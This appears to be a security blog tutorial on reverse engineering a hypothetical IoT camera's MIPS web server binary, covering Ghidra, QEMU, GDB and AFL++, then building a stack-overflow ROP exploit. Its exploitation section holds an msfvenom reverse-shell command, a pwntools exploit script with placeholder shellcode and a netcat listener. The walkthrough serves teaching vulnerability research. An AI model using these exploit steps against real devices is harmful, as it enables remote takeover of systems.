Introduction
The Internet of Things (IoT) has flooded our world with connected devices, from smart cameras to industrial sensors. While convenient, this has created a massive, often-vulnerable attack surface. For hackers and security researchers, the firmware running on these devices is a treasure trove of potential bugs.
Once youâve successfully extracted a firmware image (using tools like binwalk), the real work begins. Youâre left with a collection of files, including the core binaries that run the device. This post is your guide to the next step: analyzing these binaries to find and exploit vulnerabilities.
Our Target: For this walkthrough, weâll imagine weâre analyzing the firmware for a hypothetical âSecureHome SmartCamâ. Weâve extracted a Linux-based binary named web_server, which handles the cameraâs web interface. Our analysis reveals itâs a 32-bit MIPS executable. Our goal is to find a remote code execution (RCE) vulnerability.
Tools & Environment Setup
A solid analysis environment is non-negotiable. For binary analysis, a Linux-based OS (like Ubuntu, Debian, or Kali Linux) is your best friend.
Required Software:
- Basic Recon Tools:
file: To identify file types and architectures.strings: To extract human-readable text from the binary, often revealing hardcoded credentials, API paths, or debug messages.
- Disassembler/Decompiler:
- Ghidra: A free, powerful, and full-featured software reverse engineering (SRE) suite from the NSA. Weâll use this for our static analysis. (An alternative is the commercial powerhouse, IDA Pro).
- Emulator:
- QEMU (User-space): Essential for running binaries compiled for different architectures (like MIPS or ARM) on your x86 machine. This is the key to dynamic analysis without needing the physical device.
- Debugger:
- GDB (gdb-multiarch): The GNU Debugger, capable of debugging programs across different architectures. Weâll use it with QEMU to step through code and inspect memory.
- Fuzzing Framework:
- AFL++: A state-of-the-art fuzzer that automates the process of finding crashes by feeding a program mutated, unexpected inputs.
- Exploitation Helper:
- pwntools: A Python library that makes exploit development faster and easier.
To set up the basics on a Debian-based system:
sudo apt update
sudo apt install build-essential gdb-multiarch qemu-user-static python3-pip
pip3 install pwntools
# Download and install Ghidra from its official website.
Static Analysis: Reading the Blueprints
Static analysis involves examining the binary without running it. Itâs like reading a buildingâs blueprints to find structural weaknesses before itâs even built.
Step 1: Initial Reconnaissance
First, letâs get the lay of the land.
# Identify the architecture
$ file web_server
web_server: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
# Look for interesting strings
$ strings -n 8 web_server | grep -E "password|login|strcpy|sprintf"
admin_password
Checking login...
Login failed
handle_login_request
strcpy
sprintf
The output is promising. We see a MIPS binary that isnât stripped, which means function names are preserved. The strings command reveals functions related to login and, more importantly, calls to known dangerous C functions like strcpy and sprintfâclassic sources of buffer overflows.
Step 2: Deep Dive with Ghidra
Now, letâs load web_server into Ghidra. After the initial auto-analysis, we use the âSymbol Treeâ to navigate to the handle_login_request function identified earlier.
Ghidraâs decompiler provides a C-like representation of the assembly, making it much easier to understand. In our hypothetical handle_login_request function, we find this code:
// Decompiled C-like code from Ghidra
void handle_login_request(char *http_request) {
char username[64];
char password_buffer[64];
// ... code to parse username from http_request ...
// VULNERABILITY HERE!
strcpy(password_buffer, http_request);
// ... code to check credentials ...
}
This is a textbook buffer overflow. The strcpy function blindly copies the contents of http_request into password_buffer, which is only 64 bytes long. If we send a password longer than 64 bytes, we will overwrite adjacent data on the stack, including the saved return address. This is our ticket to controlling the programâs execution flow.
Dynamic Analysis & Fuzzing: Poking the Bear
Static analysis gave us a target. Dynamic analysis is where we confirm the bug by running the code and making it fail.
Step 1: Emulating and Debugging
We canât just run a MIPS binary on our x86 machine. We need QEMU for that. Weâll run the web server and attach GDB to see the crash happen in real-time.
-
Run the binary with QEMU in debug mode, listening on port 1234:
qemu-mips-static -g 1234 ./web_server -
In another terminal, launch the multi-arch GDB and connect to QEMU:
gdb-multiarch (gdb) target remote :1234 (gdb) continue
Now the server is running under the debugger. We can send a malicious request to trigger the overflow. Weâll use a simple Python script to send a long string.
import socket
payload = b"A" * 200 # A long string of 'A's
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80)) # Assuming server runs on port 80
s.send(b"POST /login HTTP/1.1\r\nContent-Length: 200\r\n\r\n" + payload)
s.close()
Back in our GDB session, we see a crash!
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
The program tried to execute code at address 0x41414141. 0x41 is the hex value for the character âAâ. This confirms we successfully overwrote the return address on the stack and now control the Program Counter (PC)!
Step 2: Finding Vulnerabilities with Fuzzing
For more complex binaries, manually finding every flaw is impractical. Fuzzing with AFL++ automates this. You would provide AFL++ with a valid input sample (e.g., a legitimate login request) and let it run.
# Setup for fuzzing the web_server binary
mkdir in out
echo "user=admin&pass=1234" > in/sample.txt
# Run AFL++ in QEMU mode
afl-fuzz -i in -o out -Q ./web_server
AFL++ will intelligently mutate the input and run the program thousands of times per second. Any input that causes a crash is saved for you to analyze. Itâs a powerful way to uncover bugs you might have missed.
Vulnerability & Exploitation Walkthrough
Weâve confirmed we can control the PC. Now, letâs turn this crash into a working remote code execution exploit. Our strategy is Return-Oriented Programming (ROP). Since the stack is likely non-executable (NX bit), we canât just inject our own code. Instead, weâll chain together existing pieces of code (called âgadgetsâ) from the binary to achieve our goal.
Step 1: Finding the Exact Offset
We need to know exactly how many bytes it takes to overwrite the return address. We use a unique pattern for this.
# Using pwntools to generate a unique pattern
from pwn import *
p = remote("127.0.0.1", 80)
payload = cyclic(200) # Generates "aaaabaaacaaadaaa..."
p.send(b"POST /login HTTP/1.1\r\nContent-Length: 200\r\n\r\n" + payload)
p.close()
After the crash, GDB shows the PC is 0x6161616a (jaaa). We use pwntools to find the offset:
>>> cyclic_find(0x6161616a)
76
The offset is 76 bytes. Our payload will be 76 bytes of junk, followed by the address we want to jump to.
Step 2: Finding a Gadget and Shellcode
Our goal is to run shellcode. A common technique is to find a gadget that jumps to a register we control, like jalr $t9 (in MIPS, $t9 is often used for function pointers). We also need to find a way to load the address of our shellcode into $t9. This can involve chaining multiple gadgets.
Letâs assume we used a tool like rop-tool and found a useful jalr $s0 gadget at 0x00401234. We also found another gadget that loads a value from the stack into the $s0 register.
Next, we need MIPS shellcode. We can generate a reverse shell payload with msfvenom:
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=your.ip LPORT=4444 -f python
Step 3: Building the Exploit with pwntools
We put everything together. Our final payload will look like this:
[ 76 bytes of junk ] + [ Address of gadget to load $s0 ] + [ Address of gadget to jump to $s0 ] + [ Shellcode ]
A simplified pwntools exploit script might look like this:
from pwn import *
# Assuming we're emulating on localhost port 80
p = remote("127.0.0.1", 80)
# Addresses found during static analysis in Ghidra/Ropper
# These are placeholders for a real exploit
gadget_load_s0 = p32(0x00405678)
gadget_jalr_s0 = p32(0x00401234)
# MIPS reverse shell shellcode from msfvenom
shellcode = b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21..."
# The address where our shellcode will be on the stack.
# This requires some debugging to determine accurately.
shellcode_addr = p32(0x7f..??)
# Structure the ROP chain and payload
padding = b"A" * 76
rop_chain = gadget_load_s0 + shellcode_addr + gadget_jalr_s0
payload = padding + rop_chain + shellcode
# Send the exploit
print("Sending exploit...")
p.send(b"POST /login HTTP/1.1\r\n\r\n" + payload)
p.close()
print("Check your listener!")
Before running the script, we start a listener (nc -lvnp 4444). When we execute the exploit, the overflow occurs, our ROP chain executes, and we get a shell back from the emulated process!
Mitigation & Conclusion
How could the manufacturer prevent this?
- Secure Coding: Replace dangerous functions like
strcpywith their safer, size-limited counterparts (strncpy). - Compiler Fortifications: Compile the binary with all modern security features enabled, such as Stack Canaries (
-fstack-protector-all), ASLR (Address Space Layout Randomization), and NX (Non-eXecutable stack).
Key Takeaways
Analyzing IoT binaries is a methodical hunt that combines static and dynamic techniques.
- Start Broad: Use simple tools like
fileandstringsfor initial reconnaissance. - Go Deep with Static Analysis: Use a decompiler like Ghidra to understand the codeâs logic and pinpoint promising functions.
- Confirm with Dynamic Analysis: Use emulation (QEMU) and a debugger (GDB) to prove a bug exists and understand its behavior.
- Automate Discovery: Use fuzzers like AFL++ to uncover bugs at scale.
- Exploit Systematically: Turn a crash into code execution by controlling the instruction pointer and leveraging ROP techniques.
The skills covered here are fundamental to IoT security, vulnerability research, and bug bounty hunting. By peeling back the layers of a firmware binary, you can uncover the critical flaws that manufacturers miss and help make the connected world a safer place.